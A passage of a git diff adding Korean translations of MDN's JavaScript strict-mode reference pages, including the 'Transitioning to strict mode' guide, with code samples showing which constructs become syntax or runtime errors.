+<p>ECMAScript 2015부터는 에러가 아닙니다. ({{bug(1041128)}}).</p>
+</div>
+
+<pre class="brush: js notranslate">"use strict";
+var o = { p: 1, p: 2 }; // !!! 구문 에러
+</pre>
+
+<p>다섯째로, 엄격모드는 유니크한 함수 파라미터 이름을 요구합니다. 일반 코드에서는 마지막으로 중복된 인수가 이전에 지정된 인수를 숨깁니다. 이러한 이전의 인수들은 <code>arguments[i]</code> 를 통해 여전히 남아 있을 수 있으므로, 완전히 접근 불가한 것이 아닙니다. 여전히, 이런 숨김 처리는 이치에 맞지 않으며 원했던 것이 아닐 수 있습니다(예를 들면 오타를 숨길 수도 있습니다). 따라서 엄격 모드에서는 중복 인수명은 구문 에러입니다.</p>
+
+<pre class="brush: js notranslate">function sum(a, a, c){ // !!! 구문 에러
+ "use strict";
+ return a + b + c; // 코드가 실행되면 잘못된 것임
+}
+</pre>
+
+<p>여섯째로, ECMAScript 5 에서의 엄격 모드는 8진 구문을 금지합니다. 8진 구문은 ES5의 문법이 아니지만, 모든 브라우저에서 앞에 0을 붙여 지원됩니다(<code>0644 === 420</code> 와 <code>"\045" === "%"</code>). ECMAScript 2015 에서는 접두사 "<code>0o</code>"를 붙여 8진수를 지원합니다.</p>
+
+<pre class="brush: js notranslate">var a = 0o10; // ES6: 8진수</pre>
+
+<p>초보 개발자들은 가끔 앞에 붙은 0 이 무의미하다고 생각하여, 이를 정렬용으로 사용합니다 — 하지만 이는 숫자의 의미를 바꿔버립니다! 이 8진수 문법은 거의 무용하며 잘못 사용될 수 있으므로 엄격모드에서 이 구문은 에러입니다.</p>
+
+<pre class="brush: js notranslate">"use strict";
+var sum = 015 + // !!! 구문 에러
+ 197 +
+ 142;
+</pre>
+
+<p>일곱째로, ECMAScript 6 의 엄격모드는 {{Glossary("primitive")}} 값에 프로퍼티를 설정하는 것을 금지합니다. 엄격모드가 아닐 때에는 프로퍼티 설정이 간단하게 무시되지만(no-op), 엄격모드에서는 {{jsxref("TypeError")}} 를 발생시킵니다.</p>
+
+<pre class="brush: js notranslate">(function() {
+"use strict";
+
+false.true = ""; // TypeError
+(14).sailing = "home"; // TypeError
+"with".you = "far away"; // TypeError
+
+})();</pre>
+
+<h3 id="변수_사용_단순화">변수 사용 단순화</h3>
+
+<p>엄격모드는 코드상의 변수 이름을 특정 변수 정의로 매핑하는 방법을 단순화합니다. 많은 컴파일러 최적화는 변수 X 가 어떤 위치에 저장되어 있는지를 말해주는 능력에 의존하고 있습니다. 이는 자바스크립트 코드를 완전히 최적화하는데 중요합니다. 자바스크립트는 때때로 이름을 코드상의 변수 정의로 기본 매핑하는 것을 런타임때까지 실행이 불가하게합니다. 엄격모드는 이것이 발생하는 대부분의 경우를 제거하여 컴파일러가 엄격모드 코드를 더 잘 최적화 할 수 있게합니다.</p>
+
+<p>첫째로, 엄격모드는 <code>with</code> 를 사용하지 못하게합니다. <code>with</code> 사용의 문제는 런타임중에 블록안의 모든 이름이 전달된 객체의 프로퍼티나 인근 (또는 심지어 전역) 스코프 내의 변수로 매핑될 수도 있다는 것입니다. 이는 사전에 아는 것이 불가합니다. 엄격 모드는 <code>with</code> 를 구문 에러로 만들어, <code>with</code> 의 이름이 런타임에 알 수 없는 위치를 참조하지 않도록합니다.</p>
+
+<pre class="brush: js notranslate">"use strict";
+var x = 17;
+with (obj) // !!! 구문 에러
+{
+ // 엄격모드가 아니라면, 이는 var x 가 되어야 하나요,
+  // obj.x 가 되어야 하나요?
+ // 일반적으로는 코드를 실행하지 않고 이를 말하는 것은 불가하므로,
+ // 이름을 최적화 할 수 없습니다.
+ x;
+}
+</pre>
+
+<p>이름이 짧은 변수에 객체를 할당한 후, 변수에 해당하는 프로퍼티에 접근하는 간단한 대안은 <code>with</code> 를 대체할 준비가 되었습니다.</p>
+
+<p>둘째로, <a class="external" href="http://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/">엄격모드 코드의 <code>eval</code> 은 새로운 변수를 주위 스코프에 추가하지 않습니다</a>. 일반적인 코드에서 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">eval("var x;")</span></font> 는 변수 <code>x</code> 를 주위 함수나 전역 스코프에 추가합니다. 이는, 일반적으로 <code>eval</code> 호출을 포함하는 함수에서 인수나 지역 변수를 참조하지 않는 모든 이름은 런타임에 특정 정의에 반드시 매핑되어야 함을 의미합니다(<code>eval</code> 이 외부 변수를 숨기는 새로운 변수를 추가했기 때문입니다). 엄격모드에서 <code>eval</code> 은 evaluated 된 코드에서만 변수를 생성하므로, 외부 변수나 일부 로컬 변수에 참조하는지에 영향을 주지 않습니다.</p>
+
+<pre class="brush: js notranslate">var x = 17;
+var evalX = eval("'use strict'; var x = 42; x");
+console.assert(x === 17);
+console.assert(evalX === 42);
+</pre>
+
+<p>이와 관련해서, <code>eval</code> 함수가 엄격모드 코드 내에서 <code>eval(...)</code> 형태의 표현으로 적용되었다면, 코드는 엄격모드 코드로 evaluated 됩니다. 코드는 명시적으로 엄격모드를 적용할 수 있지만, 필수적인 것은 아닙니다.</p>
+
+<pre class="brush: js notranslate">function strict1(str){
+ "use strict";
+ return eval(str); // str 은 엄격모드 코드로 다뤄짐
+}
+function strict2(f, str){
+ "use strict";
+ return f(str); // eval(...) 이 아님:
+  // str 은 엄격모드를 적용한 경우에만 엄격함
+}
+function nonstrict(str){
+ return eval(str); // str 은 엄격모드를 적용한 경우에만 엄격함
+}
+
+strict1("'엄격모드 코드!'");
+strict1("'use strict'; '엄격모드 코드!'");
+strict2(eval, "'느슨한 코드.'");
+strict2(eval, "'use strict'; '엄격모드 코드!'");
+nonstrict("'느슨한 코드.'");
+nonstrict("'use strict'; '엄격모드 코드!'");
+</pre>
+
+<p>따라서 엄격모드 <code>eval</code> 코드 내의 이름은 엄격모드 코드 내의 이름이 <code>eval</code> 의 결과로 evaluated 되지 않은 것과 동일하게 동작합니다.</p>
+
+<p>셋째로, 엄격모드는 일반 이름을 제거하는 것을 금지합니다. 엄격 모드에서 <code>delete name</code> 은 구문 에러입니다.</p>
+
+<pre class="brush: js notranslate">"use strict";
+
+var x;
+delete x; // !!! 구문 에러
+
+eval("var y; delete y;"); // !!! syntax error</pre>
+
+<h3 id="eval_과_arguments_를_더_간단하게_하기"><code>eval</code> 과 <code>arguments</code> 를 더 간단하게 하기</h3>
+
+<p>엄격모드는 <code>arguments</code> 와 <code>evel</code> 을 덜 기괴하고 마법적으로 만듭니다. 둘은 일반 코드에서 상당히 많은 마법적인 동작들을 갖고 있습니다: 바인딩을 추가하거나 삭제하고 바인딩 값을 변경하기위한 <code>eval</code>, 명명된 인수를 앨리어스하는 인덱싱된 프로퍼티 <code>arguments</code>. 엄격모드는 ECMAScript 의 미래 버전까지는 모든 수정이 이루지지는 않겠지만 <code>eval</code> 과 <code>arguments</code> 를 키워드로 다루기 위한 훌륭한 큰 걸음을 내딛었습니다.</p>
+
+<p>첫째로, 변수명 eval 과 arguments 는 언어 문법에 바운드되거나 할당될 수 없습니다. 다음 시도들은 모두 구문 에러입니다.</p>
+
+<pre class="brush: js notranslate">"use strict";
+eval = 17;
+arguments++;
+++eval;
+var obj = { set p(arguments) { } };
+var eval;
+try { } catch (arguments) { }
+function x(eval) { }
+function arguments() { }
+var y = function eval() { };
+var f = new Function("arguments", "'use strict'; return 17;");
+</pre>
+
+<p>둘째로, 엄격모드 코드는 <code>arguments</code> 객체가 생성한 프로퍼티를 앨리어스하지 않습니다. 함수의 첫 번째 인수가 <code>arg</code> 인 일반 코드에서는 <code>arg</code> 를 설정하는 것은 <code>arguments[0]</code> 를 설정하기도 하며, 그 반대도 그렇습니다(인수가 제공되지 않거나, <code>arguments[0]</code> 이 삭제된 경우는 제외). 엄격모드 함수의 <code>arguments</code> 객체는 함수가 호출될 때 원본 인수들을 저장합니다. <code><em>arguments[i]</em></code> 는 명명된 인수에 해당하는 값을 추적하지 않으며, 명명된 인수도 <code>arguments[i]</code> 에 해당하는 값을 추적하지 않습니다.</p>
+
+<pre class="brush: js notranslate">function f(a){
+ "use strict";
+ a = 42;
+ return [a, arguments[0]];
+}
+var pair = f(17);
+console.assert(pair[0] === 42);
+console.assert(pair[1] === 17);
+</pre>
+
+<p>셋째로, <code>arguments.callee</code> 는 더 이상 지원되지 않습니다. 일반 코드의 <code>arguments.callee</code> 는 바깥 함수를 참조합니다. 이런 유즈 케이스는 중요하지 않습니다. 간단히 바깥 함수의 이름을 사용하면됩니다. 더욱이, <code>arguments.callee</code> 는 인라인 함수와 같은 최적화를 상당히 방해하므로, <code>arguments.callee</code> 가 접근하는 함수는 인라인이 아닌 함수를 참조하도록 제공해야 했습니다. 엄격모드 함수의 <code>arguments.callee</code> 는 삭제할 수 없는 프로퍼티이며, 설정이나 반환할때 에러를 발생합니다.</p>
+
+<pre class="brush: js notranslate">"use strict";
+var f = function() { return arguments.callee; };
+f(); // TypeError
+</pre>
+
+<h3 id="JavaScript_보안">JavaScript "보안"</h3>
+
+<p>엄격모드는 "보안된"  자바스크립트를 작성하기 쉽게 해줍니다. 일부 웹사이트들은 사용자가 다른 사용자들을 대신하여 웹사이트에서 실행시키는자바스크립트를 작성하는 방법을 제공합니다. 브라우저에서 자바스크립트는 사용자의 개인정보에 접근할수 있기 때문에, 자바스크립트는 금지된 기능에 대한  검열을 하기위해 반드시 실행전에 부분적으로 변경되어야 합니다. 자바스크립트의 유연성으로 인해 많은 런타임 체크없이 이것을 수행하는것은 사실상 불가능합니다. 특정 언어의 기능들이 너무 광범위하여 런타임 검사 수행은 상당한 성능비용이 생깁니다. 엄격모드의 작은 수정과 사용자가 제출한 자바스크립트가 엄격모드가 되면 특정 방식으로 호출되므로 런타임 검사의 필요성이 크게 줄어 듭니다.  </p>
+
+<p>첫째, 엄격모드에서는 <code>this</code> 로  함수에 전달된 값은 강제로 객체가 되지 않습니다 (a.k.a. "boxed"). 보통 함수의 경우, <code>this</code> 는 언제나 객체입니다: 객체값 <code>this</code>  와 함께 호출된 경우 제공된 객체이거나 ; 부울값,  문자 또는 숫자 <code>this</code>  로 호출된 경우 그 값은 Boxed 입니다; 또는 <code>undefined</code> 또는 <code>null</code> <code>this</code> 로 호출되면 전역객체입니다. (특정된 <code>this</code> 명세를 위해서는 <a href="/en-US/Web/JavaScript/Reference/Global_Objects/Function/call" title="en-US/JavaScript/Reference/Global_Objects/Function/call"><code>call</code></a>, <a href="/en-US/Web/JavaScript/Reference/Global_Objects/Function/apply" title="en-US/JavaScript/Reference/Global_Objects/Function/apply"><code>apply</code></a>, 또는 <a href="/en-US/Web/JavaScript/Reference/Global_Objects/Function/bind" title="en-US/JavaScript/Reference/Global_Objects/Function/bind"><code>bind</code></a> 를 사용하십시요) 자동 박싱은 성능 비용뿐 아니라 전역 객체가 브라우저에 노출되는것은 보안상 위험합니다. 전역객체들은 자바스크립트 환경의 "보안"  기능에 접근하는것을 제공하기때문에 제한되어야 합니다. 따라서 엄격모드의 함수는, 정의된  <code>this</code>  는 박스드 객체가 되지 않으며, 정의되지 않은경우 <code>this</code> 는 <code>undefined</code> 가 됩니다:</p>
+
+<pre class="brush: js notranslate">"use strict";
+function fun() { return this; }
+console.assert(fun() === undefined);
+console.assert(fun.call(2) === 2);
+console.assert(fun.apply(null) === null);
+console.assert(fun.call(undefined) === undefined);
+console.assert(fun.bind(true)() === true);
+</pre>
+
+<p>즉, 브라우저에서 엄격모드의 함수내 에서는 더 이상 <code>window</code> 객체를  <code>this</code> 를 통해 참조할 수 없습니다.</p>
+
+<p>둘째로, 엄격모드에서는 ECMAScript의 일반적으로 구현된 확장을 통해 자바스크립트 스택을 "걷는"것이 불가능합니다. 이러한 일반적인 확장 코드는,  함수 <code>fun</code> 이 호출되는 중간에, <code>fun.caller</code> 는 가장 최근에 <code>fun</code> 을 호출한 함수이고 <code>fun.arguments</code> 는 <code>fun</code>을 호출하기 위한 <code>인</code><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">수</span></font>  입니다. "권한있는"함수와 (잠재적으로 보안되지 않은) 인수에 접근을 허용하기때문에 두가지 확장 모두 자바스크립트의 "보안" 문제가 됩니다. <code>fun</code> 이 엄격모드인경우, both <code>fun.caller</code> 와 <code>fun.arguments</code> 모두 설정 또는 검색될때 삭제 불가능한 속성이 됩니다.</p>
+
+<pre class="brush: js notranslate">function restricted()
+{
+ "use strict";
+ restricted.caller; // throws a TypeError
+ restricted.arguments; // throws a TypeError
+}
+function privilegedInvoker()
+{
+ return restricted();
+}
+privilegedInvoker();
+</pre>
+
+<p>셋째, 엄격모드의 <code>인수</code> 는 더이상 해당 함수의 호출 변수에 대한 접근을 제공하지 않습니다. 일부 이전 ECMAScript에서  <code>arguments.caller</code>  해당 함수에  별명이 지정된 객체였습니다.  이것은 함수의 추상화를 통해 권한이 있는 값을 숨길수 있는 기능을  차단하여 <a class="external" href="http://stuff.mit.edu/iap/2008/facebook/">보안의 위협</a>이 됩니다; 이것은 또한 대부분의 최적화를  배제시킵니다. 이러한 이유로 최신 브라우저들은 이를 구현하지 않습니다. 하지만 이것들의 이전 기능들 때문에, 엄격모드함수에서  <code>arguments.caller</code>  설정이나 검색시 삭제 불가능한 요소가 됩니다:</p>
+
+<pre class="brush: js notranslate">"use strict";
+function fun(a, b)
+{
+ "use strict";
+ var v = 12;
+ return arguments.caller; //TypeError 가 발생.
+}
+fun(1, 2); // doesn't expose v (or a or b)
+</pre>
+
+<h3 id="미래의_ECMAScript_버전을_위한_준비">미래의 ECMAScript 버전을 위한 준비</h3>
+
+<p>새롭게 선보일 ECMAScript 버전은 새로운 구문을 소개할 것이고, ECMAScript5에서의 엄격 모드는 변환을 쉽게 하기 위해 몇 가지의 제한을 적용할 것으로 예상되고 있습니다. 만약 이 변화들이 엄격 모드에서의 제한을 기반으로 한다면, 더 바꾸기 쉬워질 것입니다.</p>
+
+<p>첫번째로, 엄격 모드에서의 식별자 후보들은 예약어가 됩니다. 이 예약어들은 <code>implements</code>, <code>interface</code>, <code>let</code>, <code>package</code>, <code>private</code>, <code>protected</code>, <code>public</code>, <code>static</code>, <code>yield</code>입니다. 그럼, 엄격 모드에서는 이 예약어와 똑같은 이름을 사용하거나, 변수명 또는 아규먼트명으로도 사용할 수 없습니다.  </p>
+
+<pre class="brush: js notranslate">function package(protected){ // !!!
+ "use strict";
+ var implements; // !!!
+
+ interface: // !!!
+ while (true){
+ break interface; // !!!
+ }
+
+ function private() { } // !!!
+}
+function fun(static) { 'use strict'; } // !!!
+
+</pre>
+
+<p>Mozilla의 특별 지시 두 가지 : 먼저, 코드가 JavaScript 1.7 또는 그보다 높고 (예를 들어, 크롬 코드 또는 <code>&lt;script type=""&gt;</code> 를 바로 사용할 때) 엄격 모드의 코드라면,  <code>let</code> 와 <code>yield</code>는 처음 소개되었을 때의 그 기능을 가진다. 그러나 웹에서의 엄격 모드 코드는, <code>&lt;script src=""&gt;</code>나 <code>&lt;script&gt;...&lt;/script&gt;</code>로 로딩되지, <code>let</code>/<code>yield</code>를 식별자로 사용할 수가 없을 것이다. 그리고 나서는, ES5 가 <code>class</code>, <code>enum</code>, <code>export</code>, <code>extends</code>, <code>import</code>, and <code>super</code> 와 같은 예약어들을 무조건 리저브함에도 불구하고, 먼저 Firefox 5 Mozilla 는 그것들을 엄격 모드에서만 리저브한다.</p>
+
+<p>다음은, 엄격 모드는 스크립트나 함수의 탑 레벨이 아닌 곳에서의 함수 내용 정의를 제한합니다. (<a class="external" href="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/">strict mode prohibits function statements not at the top level of a script or function</a>). 브라우저에서 일반적인 코드는 함수 내용 정의가 "어디에서든" 허용됩니다. <em>이것은 ES5의 부분이 아닙니다!(심지어 ES3도 아니다.) </em>이건 다른 브라우저에서 공존할 수 없는 시멘틱의 확장입니다. 앞으로의 ECMAScript 에디션은 바라건대, 스크립트나 함수의 탑 레벨이 아닌 곳에서의 함수 내용 정의를 위해, 새로운 시멘틱을 명시할 것입니다. 엄격 모드에서 이러한 함수 정의를 금지하는 것(<a class="external" href="http://wiki.ecmascript.org/doku.php?id=conventions:no_non_standard_strict_decls">Prohibiting such function statements in strict mode</a>)은 앞으로 출시될 ECMAScript의 사양을 위한 "준비"입니다.  :</p>
+
+<pre class="brush: js notranslate">"use strict";
+if (true){
+ function f() { } // !!! syntax error
+ f();
+}
+
+for (var i = 0; i &lt; 5; i++){
+ function f2() { } // !!! syntax error
+ f2();
+}
+
+function baz(){ // kosher
+ function eit() { } // also kosher
+}
+</pre>
+
+<p>이 규제는 엄밀히 말하면 엄격 모드가 아닌데, 저런 함수 표현식들은 기본 ECMAScript5의 확장이기 때문입니다. 그러나 이것이 ECMAScript 협회가 권장하는 방식이며, 브라우저들이 이를 지원할 것입니다. </p>
+
+<h2 id="브라우저에서의_엄격_모드">브라우저에서의 엄격 모드</h2>
+
+<p>현재 주류의 브라우저들은 엄격 모드를 지원하고 있습니다. 하지만, 아직도 현실에서 사용되는 수 많은 브라우저의 버전들은 엄격 모드를 부분적으로만 지원하거나(<a href="http://caniuse.com/use-strict" rel="external" title="caniuse.com availability of strict mode">Browser versions used in the wild that only have partial support for strict mode</a>), 아예 지원을 하지 않고 있기 때문에, 맹목적으로 여기에 의지할 수는 없습니다. (예를 들면, Internet Explorer 10 버전 이하!) <em>엄격 모드는 시멘틱을 바꿉니다. </em>이 변화들에 의지하는 것은 실수와 엄격 모드를 지원하지 않는 브라우저의 에러를 야기할 것입니다. 엄격 모드를 사용하는 데에 주의하는 것을 익히세요, 그리고 피쳐 테스트로 엄격 모드를 사용하기에 적절한 부분인지 확인하고 보완하세요. 마지막으로, <em>엄격 모드를 지원하는 브라우저와 그렇지 않은 브라우저에서 작성한 코드의 테스트를 확실히 하도록 하세요.</em> </p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-10.1.1', 'Strict Mode Code')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>초기 정의. 참조 : <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-C">Strict mode restriction and exceptions</a></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-strict-mode-code', 'Strict Mode Code')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td><a href="http://www.ecma-international.org/ecma-262/6.0/#sec-strict-mode-of-ecmascript">Strict mode restriction and exceptions</a></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-strict-mode-code', 'Strict Mode Code')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td><a href="https://tc39.github.io/ecma262/#sec-strict-mode-of-ecmascript">Strict mode restriction and exceptions</a></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a class="external" href="http://whereswalden.com/2010/09/08/new-es5-strict-mode-support-now-with-poison-pills/" title="http://whereswalden.com/2010/09/08/new-es5-strict-mode-support-now-with-poison-pills/">Where's Walden? » New ES5 strict mode support: now with poison pills!</a></li>
+ <li><a class="external" href="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/" title="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/">Where's Walden? » New ES5 strict mode requirement: function statements not at top level of a program or function are prohibited</a></li>
+ <li><a class="external" href="http://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/" title="http://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/">Where's Walden? » New ES5 strict mode support: new vars created by strict mode eval code are local to that code only</a></li>
+ <li><a href="http://qnimate.com/javascript-strict-mode-in-nutshell/">JavaScript "use strict" tutorial for beginners.</a></li>
+ <li><a class="external" href="http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/" title="http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/">John Resig - ECMAScript 5 Strict Mode, JSON, and More</a></li>
+ <li><a class="external" href="http://dmitrysoshnikov.com/ecmascript/es5-chapter-2-strict-mode/">ECMA-262-5 in detail. Chapter 2. Strict Mode.</a></li>
+ <li><a class="external" href="http://kangax.github.io/compat-table/es5/#Strict_mode">Strict mode compatibility table</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode">Transitioning to strict mode</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html b/files/ko/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html
new file mode 100644
index 0000000000..bc45f85cac
--- /dev/null
+++ b/files/ko/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html
@@ -0,0 +1,137 @@
+---
+title: Transitioning to strict mode(엄격모드로 전환)
+slug: Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode
+translation_of: Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode
+---
+<div>{{jsSidebar("More")}}</div>
+
+<div>ECMAScript 5에서 <a href="/en-US/docs/JavaScript/Strict_mode" title="/en-US/docs/JavaScript/Strict_mode">strict mode</a>이 도입이 되었다. 이제는 모든 주요 브라우저에서 사용이 가능하다(IE10 포함) 웹 브라우저가 엄격한 코드를 해석하도록 만들어준다. (소스 코드의 맨 위에 'use strict'를 추가하는 것만으로),  기존 코드 기반을 엄격 모드로 전환하는 것은 좀 더 많은 작업을 한다.</div>
+
+<div> </div>
+
+<div>이 글은 개발자의 안내서에 초점이 맞춰져있다.</div>
+
+<h2 id="Gradual_transition">Gradual transition</h2>
+
+<p>Strict 모드는 점진적으로 전환 할 수 있도록 설계되었다. 개별 파일을 개별적으로 변경하거나 코드를 엄격 모드에서 함수 단위로 전환 할 수도 있다.</p>
+
+<h2 id="strict_와_non-strict의_차이점">strict 와 non-strict의 차이점</h2>
+
+<h3 id="Syntax_errors">Syntax errors</h3>
+
+<p><code>'use strict';</code> 를 추가하게 되면, 아래의 경우에는 스크립트가 실행되기 전에{{jsxref("SyntaxError")}} 에러를 던진다.</p>
+
+<ul>
+ <li>Octal syntax <code>var n = 023;</code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/with" title="/en-US/docs/JavaScript/Reference/Statements/with"><code>with</code></a> statement</li>
+ <li>Using <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="/en-US/docs/JavaScript/Reference/Operators/delete">delete</a></code> on a variable name <code>delete myVariable</code>;</li>
+ <li>Using <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval"><code>eval</code></a> or <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments"><code>arguments</code></a> as variable or function argument name</li>
+ <li>Using one of the newly <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords">reserved keywords</a> (in prevision for ECMAScript 2015): <code>implements</code>, <code>interface</code>, <code>let</code>, <code>package</code>, <code>private</code>, <code>protected</code>, <code>public</code>, <code>static</code>, and <code>yield</code></li>
+ <li>Declaring function in blocks <code>if (a &lt; b) { function f() {} }</code></li>
+ <li>Obvious errors
+ <ul>
+ <li>Declaring twice the same name for a property name in an object literal <code>{a: 1, b: 3, a: 7}</code> This is no longer the case in ECMAScript 2015 ({{bug(1041128)}}).</li>
+ <li>Declaring two function parameters with the same name <code>function f(a, b, b) {}</code></li>
+ </ul>
+ </li>
+</ul>
+
+<p>우리들의 명백한 에러나 나쁜 실수들이 드러나기 때문에 이러한 에러들은 좋다. 이러한 것들은 코드가 실행되기 전에 실행이 된다.</p>
+
+<h3 id="New_runtime_errors">New runtime errors</h3>
+
+<p>JavaScript는 컨테스트에서 조용한 실패에 익숙해져 있다. Strict mode는 이 같은 경우에는 던졌다. 만약 너의 코드베이스에 이 같은 경우가 포함되어있다면, 잘못된 것이 있는지 확인하기 위해 테스트가 필요할 것이다. 다시 한번, 함수 세분화된 단계에서 발생할 수 있다.</p>
+
+<h4 id="값을_선언되지_않은_변수로_설정하기">값을 선언되지 않은 변수로 설정하기</h4>
+
+<pre class="brush: js">function f(x) {
+ 'use strict';
+ var a = 12;
+ b = a + x * 35; // error!
+}
+f(42);
+</pre>
+
+<p>이것은 예상된 효과가 드문 전역객체의 변수를 변경하는 데 사용된다. 만약에 정말로 전역객체의 변수를 부여하고 싶다면, 그것을 인수, 그것을 argument로 넘기고 property로 명시적 할당을 한다.</p>
+
+<pre class="brush: js">var global = this; // in the top-level context, "this" always
+ // refers to the global object
+function f(x) {
+ 'use strict';
+ var a = 12;
+ global.b = a + x * 35;
+}
+f(42);
+</pre>
+
+<h4 id="구성할_수_없는_속성을_삭제하려고_한다.">구성할 수 없는 속성을 삭제하려고 한다.</h4>
+
+<pre class="brush: js">'use strict';
+delete Object.prototype; // error!
+</pre>
+
+<p>비-엄격모드에서는 조용한 실패였으나 사용자의 기대에는 맞지 않다.</p>
+
+<h4 id="중독_된_인수_및_함수_속성">중독 된 인수 및 함수 속성</h4>
+
+<p>엄격모드에서 <code>arguments.callee</code>, <code>arguments.caller</code>, <code>anyFunction.caller</code>, or <code>anyFunction.arguments</code> 접근하려고 하면 에러를 던진다. 합법적인 사용 사례는 다음과 같은 함수를 다시 사용하는 것이다 : </p>
+
+<pre class="brush: js">// example taken from vanillajs: http://vanilla-js.com/
+var s = document.getElementById('thing').style;
+s.opacity = 1;
+(function() {
+ if ((s.opacity-=.1) &lt; 0)
+ s.display = 'none';
+ else
+ setTimeout(arguments.callee, 40);
+})();</pre>
+
+<p>이것을다음과 같이 재 작성할 수 있다 :</p>
+
+<pre class="brush: js">'use strict';
+var s = document.getElementById('thing').style;
+s.opacity = 1;
+(function fadeOut() { // name the function
+ if((s.opacity-=.1) &lt; 0)
+ s.display = 'none';
+ else
+ setTimeout(fadeOut, 40); // use the name of the function
+})();</pre>
+
+<h3 id="문법적_차이">문법적 차이</h3>
+
+<p>매우 미묘한 차이점들이 있다. 테스트 단위가 이런 종류의 미묘한 차이를 잡지 못할 수 있다. 이러한 차이점이 너의 코드의 의미에 영향을 주지 않도록, 코드 기반을 신중하게 검토해야 할 것이다. 다행히도,이 세심한 검토는 함수 세분성을 점차적으로 줄일 수 있다.</p>
+
+<h4 id="함수내부에서_불리는_this">함수내부에서 불리는 <code>this</code></h4>
+
+<p><code>f()</code> 라는 함수가 있을 때, <code>this</code> 값은 당연히 전역객체이다.  stict mode에서는 <code>undefined</code> 이다. 값은 원시값이고, 함수가 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="/en-US/docs/Core_JavaScript_1.5_Reference/Global_Objects/Function/call">call</a></code> 나 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="/en-US/docs/Core_JavaScript_1.5_Reference/Global_Objects/Function/apply">apply</a></code> 화 함께 불리게 된다면 값은 이것은 하나의 객체이다.(또는  <code>undefined</code> , <code>null</code> 인 전역객체). stict mode에서, 값은 변환이나 대체없이 직접 전달된다.</p>
+
+<h4 id="arguments_명명_된_함수_인수를_별명으로_지정하지_않습니다."><code>arguments</code> 명명 된 함수 인수를 별명으로 지정하지 않습니다.</h4>
+
+<p>비-엄격모드에서, <code>arguments</code>객체의 값을 수정하면 해당 명명 된 인수가 수정된다. 이로 인해 자바 스크립트 엔진에 대한 최적화가 복잡해지고 코드를 읽기 / 이해하기가 더 어려워졌다. 엄격모드에서, arguments 객체는 명명 된 인수와 동일한 값으로 만들어지고 초기화되지만 arguments 객체 또는 명명 된 인수에 대한 변경 사항은 서로 반영되지 않는다.</p>
+
+<h4 id="eval바꾸기"><code>eval</code>바꾸기</h4>
+
+<p>엄격모드에서, <code>eval</code> 은 그것이 불린 범위안에서 새로운 변수를 만들지 않는다.  또한 물론 엄격모드에서, 문자열은 엄격모드 규칙으로 평가된다. 아무 문제가 없는지 확인하기 위해서는 철저한 테스트를 수행해야 한다. 정말로 필요하지 않다면 eval을 사용하지 않는 것이 실용적인 해결책이 될 수 있다.</p>
+
+<h2 id="Strictness-neutral_code">Strictness-neutral code</h2>
+
+<p>A potential "downside" of moving strict code to strict mode is that the semantics may be different in legacy browsers which do not implement strict mode. In some rare occasions (like bad concatenation or minification), your code also may not run in the mode you wrote and tested it in. Here are the rules to make your code strictness-neutral:</p>
+
+<ol>
+ <li>코드를 엄격하게 작성하고 (위의 "New runtime errors" 섹션의) 엄격한 오류가 발생하지 않았는지 확인하십시오.</li>
+ <li>semantic 차이점으로 부터 멀리하라
+ <ol>
+ <li><code>eval</code>: 당신이 하는 일을 안다면, 그것을 사용해라</li>
+ <li><code>arguments</code>: 함수의 첫 번째 줄로 이름을 통해 항상 함수 인수에 액세스하거나 인수 객체의 복사본을 수행합니다 :<br>
+ <code>var args = Array.prototype.slice.call(arguments)</code></li>
+ <li><code>this</code>:  <code>this</code> 당신이 만든 대상을 가리킬 때 사용해라</li>
+ </ol>
+ </li>
+</ol>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">Strict mode</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/template_literals/index.html b/files/ko/web/javascript/reference/template_literals/index.html
new file mode 100644
index 0000000000..3eaf2beb13
--- /dev/null
+++ b/files/ko/web/javascript/reference/template_literals/index.html
